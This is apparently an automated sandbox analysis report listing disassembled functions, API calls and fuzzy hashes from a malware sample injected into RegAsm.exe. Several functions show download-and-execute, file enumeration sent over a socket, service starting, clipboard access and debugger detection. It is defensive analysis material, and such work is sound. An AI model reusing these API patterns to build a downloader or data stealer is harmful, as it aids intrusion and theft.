                          • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                          • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                          • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                        • FindClose.KERNEL32(00000000), ref: 004095B9
                          • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                          • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                        • String ID:
                        • API String ID: 1824512719-0
                        • Opcode ID: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                        • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                        • Opcode Fuzzy Hash: 79a333ab798d4f3832fd98009e5fc83f15b4850663dec53ce8833ea938511d01
                        • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                        Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                        • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                        • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Service$CloseHandle$Open$ManagerStart
                        • String ID:
                        • API String ID: 276877138-0
                        • Opcode ID: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                        • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                        • Opcode Fuzzy Hash: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                        • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                        Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                        Download Yara Rule
                        APIs
                        • FindResourceA.KERNEL32 ref: 0041B4B9
                        • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                        • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                        • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Resource$FindLoadLockSizeof
                        • String ID: SETTINGS
                        • API String ID: 3473537107-594951305
                        • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                        • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                        • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                        • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                        Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                        Download Yara Rule
                        APIs
                        • __EH_prolog.LIBCMT ref: 0040966A
                        • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                        • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                        • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Find$File$CloseFirstH_prologNext
                        • String ID:
                        • API String ID: 1157919129-0
                        • Opcode ID: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                        • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                        • Opcode Fuzzy Hash: fb173912142d451d8169f8852f62cc003beda93b99b20e6bd32f4a4dc40a9ea1
                        • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                        Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                        Download Yara Rule
                        APIs
                        • __EH_prolog.LIBCMT ref: 00408811
                        • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                        • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                        • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                        • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                        • String ID:
                        • API String ID: 1771804793-0
                        • Opcode ID: 24d131f499e64054f79a0f46ecbae19e6fc47dfee84614c45b7e196f831b81b6
                        • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                        • Opcode Fuzzy Hash: 24d131f499e64054f79a0f46ecbae19e6fc47dfee84614c45b7e196f831b81b6
                        • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                        Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                        Download Yara Rule
                        APIs
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                        • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DownloadExecuteFileShell
                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$open
                        • API String ID: 2825088817-3056885514
                        • Opcode ID: d5b821e171253cb396676c05401a8d63c0a5d85931093b1fd4d20512fa7d7d3c
                        • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                        • Opcode Fuzzy Hash: d5b821e171253cb396676c05401a8d63c0a5d85931093b1fd4d20512fa7d7d3c
                        • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                        Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                        Download Yara Rule
                        APIs
                        • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                        • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: FileFind$FirstNextsend
                        • String ID: XPG$XPG
                        • API String ID: 4113138495-1962359302
                        • Opcode ID: 8ee3c4b34050bfc3eb39b734b42787355f0f4c7cc0427839037de91a24499d9f
                        • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                        • Opcode Fuzzy Hash: 8ee3c4b34050bfc3eb39b734b42787355f0f4c7cc0427839037de91a24499d9f
                        • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                        Function 00451CD8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                        • String ID: sJD
                        • API String ID: 1661935332-3536923933
                        • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                        • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                        • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                        • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                        Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                          • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorInfoLastLocale$_free$_abort
                        • String ID:
                        • API String ID: 2829624132-0
                        • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                        • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                        • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                        • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                        Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                        • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC24
                        • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExceptionFilterUnhandled$DebuggerPresent
                        • String ID:
                        • API String ID: 3906539128-0
                        • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                        • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                        • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                        • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                        Function 004432B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetCurrentProcess.KERNEL32(?,?,0044328B,?), ref: 004432D6
                        • TerminateProcess.KERNEL32(00000000,?,0044328B,?), ref: 004432DD
                        • ExitProcess.KERNEL32 ref: 004432EF
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Process$CurrentExitTerminate
                        • String ID:
                        • API String ID: 1703294689-0
                        • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                        • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                        • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                        • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                        Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Clipboard$CloseDataOpen
                        • String ID:
                        • API String ID: 2058664381-0
                        • Opcode ID: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                        • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                        • Opcode Fuzzy Hash: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                        • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                        Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: .
                        • API String ID: 0-248832578
                        • Opcode ID: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                        • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                        • Opcode Fuzzy Hash: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                        • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                        Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                        • String ID: lJD
                        • API String ID: 1084509184-3316369744
                        • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                        • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                        • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                        • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                        Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                        • String ID: lJD
                        • API String ID: 1084509184-3316369744
                        • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                        • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                        • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                        • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                        Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: InfoLocale
                        • String ID: GetLocaleInfoEx
                        • API String ID: 2299586839-2904428671
                        • Opcode ID: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                        • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                        • Opcode Fuzzy Hash: eeff4f7349616e56738bbc7b8787175557d4d7270555fb13a45f0baf29077f94
                        • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                        Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                        Download Yara Rule
                        APIs
                        • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                        • HeapFree.KERNEL32(00000000), ref: 004120EE
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Heap$FreeProcess
                        • String ID:
                        • API String ID: 3859560861-0
                        • Opcode ID: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                        • Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
                        • Opcode Fuzzy Hash: f8b7229bde56183a56125516245bdcff620dba8344b2748e8b36a977d3a4176b
                        • Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58
                        Function 00434C52 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                        Download Yara Rule
                        APIs
                        • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434C6B
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: FeaturePresentProcessor
                        • String ID:
                        • API String ID: 2325560087-0
                        • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                        • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                        • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                        • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                        Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                          • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$_free$InfoLocale_abort
                        • String ID:
                        • API String ID: 1663032902-0
                        • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                        • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                        • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                        • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                        Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$InfoLocale_abort_free
                        • String ID:
                        • API String ID: 2692324296-0
                        • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                        • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                        • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                        • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                        Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                        • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CriticalEnterEnumLocalesSectionSystem
                        • String ID:
                        • API String ID: 1272433827-0
                        • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                        • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                        • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                        • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                        Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
